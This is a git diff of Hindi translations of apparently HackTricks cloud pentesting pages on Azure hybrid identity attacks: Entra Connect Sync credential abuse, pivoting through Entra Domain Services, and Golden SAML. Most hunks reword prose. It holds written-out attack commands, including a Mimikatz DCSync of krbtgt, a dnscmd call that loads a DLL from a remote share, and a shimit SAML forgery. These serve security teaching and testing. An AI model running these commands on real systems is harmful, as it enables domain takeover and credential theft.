समन्वयित करने** की अनुमति देता है जब एक उपयोगकर्ता Entra ID में अपना पासवर्ड बदलता है। ध्यान दें कि पासवर्ड राइटबैक कार्य करने के लिए AD में स्वचालित रूप से उत्पन्न `MSOL_` उपयोगकर्ता को [दस्तावेज़ में निर्दिष्ट अधिक विशेषाधिकार](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) दिए जाने की आवश्यकता है ताकि वह **AD में किसी भी उपयोगकर्ता के पासवर्ड को संशोधित कर सके**। यह विशेष रूप से एक समझौता किए गए Entra ID से AD को समझौता करने के लिए दिलचस्प है क्योंकि आप "लगभग" किसी भी उपयोगकर्ता का पासवर्ड बदलने में सक्षम होंगे। -डोमेन प्रशासक और कुछ विशेषाधिकार समूहों से संबंधित अन्य उपयोगकर्ता पुनरुत्पादित नहीं होते यदि समूह में **`adminCount` विशेषता 1 है**। लेकिन अन्य उपयोगकर्ता जो AD के अंदर उच्च विशेषाधिकार सौंपे गए हैं बिना किसी ऐसे समूह का हिस्सा बने, उनके पासवर्ड को बदला जा सकता है। उदाहरण के लिए: +डोमेन प्रशासक और कुछ विशेषाधिकार समूहों से संबंधित अन्य उपयोगकर्ता पुनरुत्पादित नहीं होते हैं यदि समूह का **`adminCount` गुण 1 है**। लेकिन अन्य उपयोगकर्ता जिन्हें AD के अंदर उच्च विशेषाधिकार सौंपे गए हैं बिना किसी ऐसे समूह का हिस्सा बने, उनके पासवर्ड को बदला जा सकता है। उदाहरण के लिए: - सीधे उच्च विशेषाधिकार वाले उपयोगकर्ता। - **`DNSAdmins`** समूह के उपयोगकर्ता। -- **`Group Policy Creator Owners`** समूह के उपयोगकर्ता जिन्होंने GPO बनाए हैं और उन्हें OUs पर सौंपा है, वे अपने द्वारा बनाए गए GPO को संशोधित करने में सक्षम होंगे। +- **`Group Policy Creator Owners`** समूह के उपयोगकर्ता जिन्होंने GPO बनाए हैं और उन्हें OUs पर सौंपा है, वे उन GPOs को संशोधित करने में सक्षम होंगे जिन्हें उन्होंने बनाया है। - **`Cert Publishers Group`** के उपयोगकर्ता जो Active Directory में प्रमाणपत्र प्रकाशित कर सकते हैं। -- किसी अन्य समूह के उपयोगकर्ता जिनके पास **`adminCount` विशेषता 1 नहीं है**। +- किसी अन्य समूह के उपयोगकर्ता जिनके पास **`adminCount` गुण 1 नहीं है**। ## Pivoting AD --> Entra ID @@ -76,14 +76,14 @@ $searcher.FindAll() $searcher.Filter = "(samAccountName=Sync_*)" $searcher.FindAll() ``` -**Connect Sync कॉन्फ़िगरेशन** की जांच करें (यदि कोई हो): +**Connect Sync कॉन्फ़िगरेशन** की जाँच करें (यदि कोई हो): ```bash az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" # Check if password sychronization is enabled, if password and group writeback are enabled... ``` ### पासवर्ड ढूंढना -**`MSOL_*`** उपयोगकर्ता (और यदि बनाया गया हो तो **Sync\_\*** उपयोगकर्ता) के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Entra ID Connect स्थापित है।** व्यवस्थापक उन विशेषाधिकार प्राप्त उपयोगकर्ताओं के पासवर्ड को स्पष्ट पाठ में निकाल सकते हैं।\ +**`MSOL_*`** उपयोगकर्ता (और यदि बनाया गया हो तो **Sync\_\*** उपयोगकर्ता) के पासवर्ड **SQL सर्वर में संग्रहीत होते हैं** उस सर्वर पर जहां **Entra ID Connect स्थापित है।** व्यवस्थापक उन विशेषाधिकार प्राप्त उपयोगकर्ताओं के पासवर्ड को स्पष्ट पाठ में निकाल सकते हैं।\ डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है। एक टेबल से कॉन्फ़िगरेशन निकालना संभव है, जिसमें एक एन्क्रिप्टेड है: @@ -92,7 +92,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat **एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रेम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है। -आप [इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन इस वार्ता में पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg). +आप इस [बातचीत में देख सकते हैं कि ये क्रेडेंशियल्स कैसे संग्रहीत और डिक्रिप्ट किए जाते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)। ### MSOL\_\* का दुरुपयोग ```bash @@ -126,13 +126,13 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo - `PasswordWriteback.RegisterClientVersion.All` यह उल्लेख किया गया है कि इस एप्लिकेशन का SP अभी भी एक undocumented API का उपयोग करके कुछ विशेषाधिकार प्राप्त क्रियाएँ करने के लिए उपयोग किया जा सकता है, लेकिन अभी तक कोई PoC नहीं मिला है।\ -किसी भी मामले में, यह सोचते हुए कि यह संभव हो सकता है, यह और अधिक खोजने में दिलचस्पी होगी कि इस सेवा प्रिंसिपल के रूप में लॉगिन करने के लिए प्रमाणपत्र कैसे खोजें और इसका दुरुपयोग करने का प्रयास करें। +किसी भी मामले में, यह सोचना कि यह संभव हो सकता है, आगे यह पता लगाना दिलचस्प होगा कि इस सेवा प्रिंसिपल के रूप में लॉगिन करने के लिए प्रमाणपत्र कैसे खोजें और इसका दुरुपयोग करने की कोशिश करें। -यह [ब्लॉग पोस्ट](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) `Sync_*` उपयोगकर्ता से इस सेवा प्रिंसिपल में परिवर्तन से पहले जल्द ही जारी किया गया, जिसमें बताया गया कि प्रमाणपत्र सर्वर के अंदर संग्रहीत था और इसे खोजना, इसका PoP (Proof of Possession) उत्पन्न करना और ग्राफ़ टोकन प्राप्त करना संभव था, और इसके साथ, सेवा प्रिंसिपल में एक नया प्रमाणपत्र जोड़ने में सक्षम होना (क्योंकि एक **सेवा प्रिंसिपल** हमेशा अपने लिए नए प्रमाणपत्र असाइन कर सकता है) और फिर इसे SP के रूप में स्थिरता बनाए रखने के लिए उपयोग करना। +इस [ब्लॉग पोस्ट](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ने `Sync_*` उपयोगकर्ता से इस सेवा प्रिंसिपल में परिवर्तन करने से पहले जल्दी ही जारी किया, जिसमें बताया गया कि प्रमाणपत्र सर्वर के अंदर संग्रहीत था और इसे खोजना, इसका PoP (Proof of Possession) उत्पन्न करना और ग्राफ़ टोकन बनाना संभव था, और इसके साथ, सेवा प्रिंसिपल में एक नया प्रमाणपत्र जोड़ने में सक्षम होना (क्योंकि एक **सेवा प्रिंसिपल** हमेशा अपने लिए नए प्रमाणपत्र असाइन कर सकता है) और फिर इसे SP के रूप में स्थिरता बनाए रखने के लिए उपयोग करना। इन क्रियाओं को करने के लिए, निम्नलिखित उपकरण प्रकाशित किए गए हैं: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)। -मेरे अनुभव में, प्रमाणपत्र अब उस स्थान पर संग्रहीत नहीं है जहाँ पिछले उपकरण ने इसे खोजने की कोशिश की थी, और इसलिए, उपकरण अब काम नहीं करता है। इसलिए आगे की खोज की आवश्यकता हो सकती है। +मेरे अनुभव में, प्रमाणपत्र अब उस स्थान पर संग्रहीत नहीं है जहाँ पिछले उपकरण ने इसे खोजने की कोशिश की थी, और इसलिए, उपकरण अब काम नहीं करता। इसलिए आगे अनुसंधान की आवश्यकता हो सकती है। ### Abusing Sync\_\* [DEPRECATED] @@ -179,7 +179,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" ### Seamless SSO -Seamless SSO को PHS के साथ उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें: +PHS के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md new file mode 100644 index 000000000..9ca8d89d0 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -0,0 +1,86 @@ +# Az - Microsoft Entra Domain Services + +{{#include ../../../../banners/hacktricks-training.md}} + +## Domain Services + +Microsoft Entra Domain Services आपको Azure में एक Active Directory तैनात करने की अनुमति देता है बिना Domain Controllers का प्रबंधन किए (वास्तव में, आपके पास उनके लिए भी पहुंच नहीं है)। + +इसका मुख्य उद्देश्य आपको क्लाउड में पुराने अनुप्रयोगों को चलाने की अनुमति देना है जो आधुनिक प्रमाणीकरण विधियों का उपयोग नहीं कर सकते, या जहां आप नहीं चाहते कि निर्देशिका लुकअप हमेशा एक ऑन-प्रिमाइसेस AD DS वातावरण में वापस जाएं। + +ध्यान दें कि Entra ID में उत्पन्न उपयोगकर्ताओं को (और अन्य सक्रिय निर्देशिकाओं से समन्वयित नहीं) AD डोमेन सेवा में समन्वयित करने के लिए आपको **उपयोगकर्ता का पासवर्ड** एक नए में बदलना होगा ताकि इसे नए AD के साथ समन्वयित किया जा सके। वास्तव में, उपयोगकर्ता का समन्वय Microsoft Entra ID से Domain Services में तब तक नहीं होता जब तक पासवर्ड नहीं बदला जाता। + +> [!WARNING] +> भले ही आप एक नया सक्रिय निर्देशिका डोमेन बना रहे हों, आप इसे पूरी तरह से प्रबंधित नहीं कर पाएंगे (कुछ गलत कॉन्फ़िगरेशन का लाभ उठाने के बिना), जिसका अर्थ है कि डिफ़ॉल्ट रूप से उदाहरण के लिए आप AD में सीधे उपयोगकर्ता नहीं बना सकते। आप उन्हें **Entra ID से उपयोगकर्ताओं का समन्वयित करके** बनाते हैं। आप सभी उपयोगकर्ताओं को समन्वयित करने के लिए संकेत दे सकते हैं (यहां तक कि अन्य ऑन-प्रिमाइसेस AD से समन्वयित उपयोगकर्ता), केवल क्लाउड उपयोगकर्ता (Entra ID में बनाए गए उपयोगकर्ता), या यहां तक कि **उन्हें और अधिक फ़िल्टर करें**। + +> [!NOTE] +> सामान्यतः, नए डोमेन की कॉन्फ़िगरेशन में लचीलापन की कमी और तथ्य यह है कि AD आमतौर पर पहले से ही ऑन-प्रिमाइसेस होते हैं, यह Entra ID और AD के बीच मुख्य एकीकरण नहीं है, लेकिन फिर भी इसे समझना दिलचस्प है कि इसे कैसे समझौता किया जा सकता है। + +### Pivoting + +उत्पन्न **`AAD DC Administrators`** समूह के सदस्य उन VMs पर स्थानीय व्यवस्थापक अनुमतियाँ प्राप्त करते हैं जो प्रबंधित डोमेन से जुड़े होते हैं (लेकिन डोमेन नियंत्रकों में नहीं) क्योंकि उन्हें स्थानीय व्यवस्थापक समूह में जोड़ा जाता है। इस समूह के सदस्य **Remote Desktop का उपयोग करके डोमेन-जोड़े गए VMs से दूरस्थ रूप से कनेक्ट** कर सकते हैं, और ये समूहों के भी सदस्य हैं: + +- **`Denied RODC Password Replication Group`**: यह एक समूह है जो उन उपयोगकर्ताओं और समूहों को निर्दिष्ट करता है जिनके पासवर्ड RODCs (Read-Only Domain Controllers) पर कैश नहीं किए जा सकते। +- **`Group Policy Creators Owners`**: यह समूह सदस्यों को डोमेन में समूह नीतियाँ बनाने की अनुमति देता है। हालाँकि, इसके सदस्य उपयोगकर्ताओं या समूहों पर समूह नीतियाँ लागू नहीं कर सकते या मौजूदा GPOs को संपादित नहीं कर सकते, इसलिए यह इस वातावरण में इतना दिलचस्प नहीं है। +- **`DnsAdmins`**: यह समूह DNS सेटिंग्स का प्रबंधन करने की अनुमति देता है और अतीत में [अधिकार बढ़ाने और डोमेन को समझौता करने के लिए दुरुपयोग किया गया था](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), हालाँकि इस वातावरण में हमले का परीक्षण करने के बाद यह जांचा गया कि भेद्यता पैच की गई है: +```text +dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll + +DNS Server failed to reset registry property. +Status = 5 (0x00000005) +Command failed: ERROR_ACCESS_DENIED 5 0x5 +``` +ध्यान दें कि इन अनुमतियों को देने के लिए, AD के अंदर **`AAD DC Administrators`** समूह को पिछले समूहों का सदस्य बनाया गया है, और GPO **`AADDC Computers GPO`** सभी सदस्यों को स्थानीय प्रशासकों के रूप में जोड़ रहा है जो डोमेन समूह **`AAD DC Administrators`** के हैं। + +Entra ID से Domain Services के साथ बनाए गए AD में पिवोट करना सीधा है, बस **`AAD DC Administrators`** समूह में एक उपयोगकर्ता जोड़ें, डोमेन में किसी भी/सभी मशीनों पर RDP के माध्यम से पहुंचें और आप डेटा चुरा सकेंगे और साथ ही **डोमेन को भी समझौता कर सकेंगे।** + +हालांकि, डोमेन से Entra ID में पिवोट करना इतना आसान नहीं है क्योंकि डोमेन से कुछ भी Entra ID में समन्वयित नहीं हो रहा है। हालांकि, हमेशा सभी VMs के मेटाडेटा की जांच करें जो उनके असाइन किए गए प्रबंधित पहचान के रूप में दिलचस्प अनुमतियाँ हो सकती हैं। साथ ही **डोमेन से सभी उपयोगकर्ताओं के पासवर्ड को डंप करें** और उन्हें क्रैक करने की कोशिश करें ताकि फिर Entra ID / Azure में लॉगिन किया जा सके। + +> [!NOTE] +> ध्यान दें कि अतीत में इस प्रबंधित AD में अन्य कमजोरियाँ पाई गई थीं जो DCs को समझौता करने की अनुमति देती थीं, [जैसे कि यह](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)। एक हमलावर जो DC को समझौता करता है, बहुत आसानी से स्थिरता बनाए रख सकता है बिना Azure प्रशासकों को नोटिस किए या यहां तक कि इसे हटाने में सक्षम होने के बिना। + +### Enumeration +```bash +# Get configured domain services domains (you can add more subs to check in more subscriptions) +az rest --method post \ +--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \ +--body '{ +"subscriptions": [ +"0ce1297c-9153-425d-3229-f51093614377" +], +"query": "resources | where type == \"microsoft.aad/domainservices\"", +"options": { +"$top": 16, +"$skip": 0, +"$skipToken": "" +} +}' + +# Get domain configuration +az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" +## e.g. +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" + +# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain + +subscription_id="0ce1297c-9153-425d-3229-f51093614377" +vnet_name="aadds-vnet" + +# Retrieve all VMs in the subscription +vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv) + +# Iterate through each VM to check their VNet connection +echo "VMs connected to VNet '$vnet_name':" +while IFS=$'\t' read -r vm_name resource_group; do +nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv) + +for nic_id in $nic_ids; do +subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv) + +if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then +echo "VM Name: $vm_name, Resource Group: $resource_group" +fi +done +done <<< "$vm_list" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md similarity index 78% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md index 0c99059e3..eb8e591e6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md @@ -6,8 +6,8 @@ [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) ->**फेडरेशन** एक **डोमेन** का संग्रह है जिसने **विश्वास** स्थापित किया है। विश्वास का स्तर भिन्न हो सकता है, लेकिन आमतौर पर इसमें **प्रमाणीकरण** शामिल होता है और लगभग हमेशा **अधिकार** शामिल होता है। एक सामान्य फेडरेशन में **संस्थाओं की संख्या** शामिल हो सकती है जिन्होंने संसाधनों के एक सेट तक **साझा पहुंच** के लिए **विश्वास** स्थापित किया है। ->आप अपने **ऑन-प्रिमाइसेस** वातावरण को **Azure AD** के साथ **फेडरेट** कर सकते हैं और इस फेडरेशन का उपयोग प्रमाणीकरण और अधिकार के लिए कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता **प्रमाणीकरण ऑन-प्रिमाइसेस** पर होता है। यह विधि प्रशासकों को अधिक कठोर स्तर के पहुंच नियंत्रण को लागू करने की अनुमति देती है। **AD FS** और PingFederate के साथ फेडरेशन उपलब्ध है। +>**फेडरेशन** एक **डोमेन** का संग्रह है जिसने **विश्वास** स्थापित किया है। विश्वास का स्तर भिन्न हो सकता है, लेकिन आमतौर पर इसमें **प्रमाणीकरण** शामिल होता है और लगभग हमेशा **अधिकार** शामिल होता है। एक सामान्य फेडरेशन में **संस्थाओं की संख्या** शामिल हो सकती है जिन्होंने **साझा पहुंच** के लिए **विश्वास** स्थापित किया है। +>आप अपने **ऑन-प्रिमाइसेस** वातावरण को **Azure AD** के साथ **फेडरेट** कर सकते हैं और इस फेडरेशन का उपयोग प्रमाणीकरण और अधिकार के लिए कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता **प्रमाणीकरण ऑन-प्रिमाइसेस** पर होता है। यह विधि प्रशासकों को अधिक कठोर स्तरों के पहुंच नियंत्रण को लागू करने की अनुमति देती है। **AD FS** और PingFederate के साथ फेडरेशन उपलब्ध है।
@@ -23,10 +23,10 @@
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा एक्सेस किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जाता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है। +1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर पहुंच सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है। 2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है। 3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है। -4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ एक विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूरा होने को चिह्नित करता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है। +4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूर्ण होने का संकेत देता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है। **यदि आप SAML प्रमाणीकरण और सामान्य हमलों के बारे में अधिक जानना चाहते हैं, तो जाएं:** @@ -40,7 +40,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - "..क्लेम्स बस उपयोगकर्ताओं के बारे में किए गए बयानों (उदाहरण के लिए, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।" - एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं। - एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है। -- ImmutableID को उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid के रूप में संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है। +- ImmutableID को उपयोगकर्ता के लिए ऑन-प्रिम के रूप में ms-DS-ConsistencyGuid पर संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है। - अधिक जानकारी [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) में है। **गोल्डन SAML हमला:** @@ -53,9 +53,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ### गोल्डन SAML -एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** **हस्ताक्षरित** या **एन्क्रिप्टेड** हो सकती है, जो **IdP की निजी कुंजी** का उपयोग करती है। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने में सक्षम बनाती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था। +प्रक्रिया जहां एक **पहचान प्रदाता (IdP)** एक **SAMLResponse** उत्पन्न करता है ताकि उपयोगकर्ता साइन-इन को अधिकृत किया जा सके, अत्यंत महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है, जो **IdP की निजी कुंजी** का उपयोग करता है। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था। -[गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को **प्रमाणीकरण वस्तु** (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है। +[गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को प्रमाणीकरण वस्तु (TGT या SAMLResponse) को **जाली बनाने** के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है। गोल्डन SAML कुछ लाभ प्रदान करते हैं: @@ -66,9 +66,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html #### AWS + AD FS + गोल्डन SAML -[एक्टिव डायरेक्टरी फेडरेशन सर्विसेज (AD FS)]() एक Microsoft सेवा है जो विश्वसनीय व्यापार भागीदारों (फेडरेशन) के बीच **पहचान जानकारी के सुरक्षित आदान-प्रदान** की सुविधा प्रदान करती है। यह मूल रूप से एक डोमेन सेवा को फेडरेशन के भीतर अन्य सेवा प्रदाताओं के साथ उपयोगकर्ता पहचान साझा करने की अनुमति देती है। +[एक्टिव डायरेक्टरी फेडरेशन सर्विसेज (AD FS)]() एक Microsoft सेवा है जो विश्वसनीय व्यापार भागीदारों (फेडरेशन) के बीच **पहचान जानकारी के सुरक्षित आदान-प्रदान** की सुविधा प्रदान करती है। यह मूल रूप से एक डोमेन सेवा को एक फेडरेशन के भीतर अन्य सेवा प्रदाताओं के साथ उपयोगकर्ता पहचान साझा करने की अनुमति देती है। -AWS द्वारा समझौता किए गए डोमेन पर भरोसा करने के साथ, इस भेद्यता का उपयोग संभावित रूप से **AWS वातावरण में किसी भी अनुमतियों को प्राप्त करने** के लिए किया जा सकता है। हमले के लिए **SAML वस्तुओं पर हस्ताक्षर करने के लिए उपयोग की जाने वाली निजी कुंजी** की आवश्यकता होती है, जैसे कि गोल्डन टिकट हमले में KRBTGT की आवश्यकता होती है। AD FS उपयोगकर्ता खाते तक पहुंच इस निजी कुंजी को प्राप्त करने के लिए पर्याप्त है। +AWS द्वारा समझौता किए गए डोमेन पर भरोसा करने के साथ (एक फेडरेशन में), इस भेद्यता का उपयोग संभावित रूप से **AWS वातावरण में किसी भी अनुमतियों को प्राप्त करने** के लिए किया जा सकता है। हमले के लिए **SAML वस्तुओं पर हस्ताक्षर करने के लिए उपयोग की जाने वाली निजी कुंजी** की आवश्यकता होती है, जैसे कि गोल्डन टिकट हमले में KRBTGT की आवश्यकता होती है। AD FS उपयोगकर्ता खाते तक पहुंच इस निजी कुंजी को प्राप्त करने के लिए पर्याप्त है। गोल्डन SAML हमले को निष्पादित करने के लिए आवश्यकताएँ हैं: @@ -96,7 +96,7 @@ _केवल बोल्ड में दिए गए आइटम अनि # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -सभी जानकारी के साथ, आप [**shimit**](https://github.com/cyberark/shimit)** का उपयोग करके उस उपयोगकर्ता के रूप में एक मान्य SAMLResponse को भूलना संभव है जिसे आप अनुकरण करना चाहते हैं:** +सभी जानकारी के साथ, आप [**shimit**](https://github.com/cyberark/shimit)**:** का उपयोग करके उस उपयोगकर्ता के रूप में एक मान्य SAMLResponse को भूलना संभव है जिसे आप अनुकरण करना चाहते हैं। ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md similarity index 53% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md index e0af80590..14ef12bdf 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md @@ -1,17 +1,17 @@ -# हाइब्रिड पहचान विविध हमले +# Hybrid Identity Miscellaneous Attacks {{#include ../../../../banners/hacktricks-training.md}} -## Entra ID उपयोगकर्ताओं को ऑन-प्रेम में समन्वयित करना +## Forcing Synchronization of Entra ID users to on-prem -जैसा कि [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) में उल्लेख किया गया है, यह संभव था कि ऑन-प्रेम AD में एक AD उपयोगकर्ता के अंदर **`ProxyAddress`** का मान बदलकर Entra ID प्रशासनिक उपयोगकर्ता का ईमेल जोड़ा जाए और यह सुनिश्चित किया जाए कि AD और Entra ID में उपयोगकर्ता का UPN मेल खाता हो (यह फिर से Entra ID है), जैसे **`SMTP:admin@domain.onmicrosoft.com`**। और यह **इस उपयोगकर्ता के समन्वय को Entra ID से ऑन-प्रेम AD में मजबूर करेगा**, इसलिए यदि उपयोगकर्ता का पासवर्ड ज्ञात था, तो इसका उपयोग Entra ID में प्रशासनिक उपयोगकर्ता तक **पहुँचने के लिए** किया जा सकता था। +जैसा कि [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) में उल्लेख किया गया है, यह संभव था कि **`ProxyAddress`** के मान को ऑन-प्रेम 